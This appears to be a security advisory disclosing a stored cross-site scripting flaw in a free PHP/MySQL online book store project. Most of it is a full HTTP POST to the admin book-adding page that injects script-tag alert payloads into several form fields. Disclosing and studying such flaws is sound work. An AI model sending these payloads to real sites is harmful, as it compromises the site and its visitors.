Online Book Store Cross Site Scripting

`====================================================================  
Online Book Store project in PHP Mysql - Persistent XSS  
====================================================================  
####################################################################  
.:. Author : Yussef Dajdaj  
.:. Contact :  
.:. Vendor : https://projectworlds.in/  
.:. Script : https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/  
.:. Date: : 8/12/2020  
.:. Tested on: : Tested on: Window 10 64 bit environment || XAMPP  
####################################################################  
  
Description: The application allows an administrator to add new books without first applying validation and sanitization of the data, at leats author,title and descr post data fields execute JS code.  
This vulnerability affects both the visitor and the admin of the web application.  
  
===[ Exploit ]===  
  
[*] Stored Cross Site Scripting  
=================================  
payload: <script>alert(1);</script>  
  
  
POST /testing/admin_add.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.1 Safari/603.1.30  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://localhost/testing/admin_add.php  
Content-Type: multipart/form-data; boundary=---------------------------12698748551922532251988198308  
Content-Length: 1144  
Cookie: PHPSESSID=rorcmoub3dsuqd04dbk7oe838s  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
  
  
-----------------------------12698748551922532251988198308  
  
Content-Disposition: form-data; name="isbn"  
-----------------------------12698748551922532251988198308  
  
Content-Disposition: form-data; name="title"  
  
  
<script>alert(2);</script>  
-----------------------------12698748551922532251988198308  
Content-Disposition: form-data; name="author"  
  
  
<script>alert(3);</script>  
-----------------------------12698748551922532251988198308  
Content-Disposition: form-data; name="image"; filename=""  
Content-Type: application/octet-stream  
  
  
-----------------------------12698748551922532251988198308  
Content-Disposition: form-data; name="descr"  
  
  
<script>alert(4);</script>  
  
-----------------------------12698748551922532251988198308  
  
Content-Disposition: form-data; name="price"  
12345  
  
-----------------------------12698748551922532251988198308  
  
Content-Disposition: form-data; name="publisher"  
  
<script>alert(5);</script>  
  
-----------------------------12698748551922532251988198308  
Content-Disposition: form-data; name="add"  
  
Add new book  
  
-----------------------------12698748551922532251988198308--  
  
  
`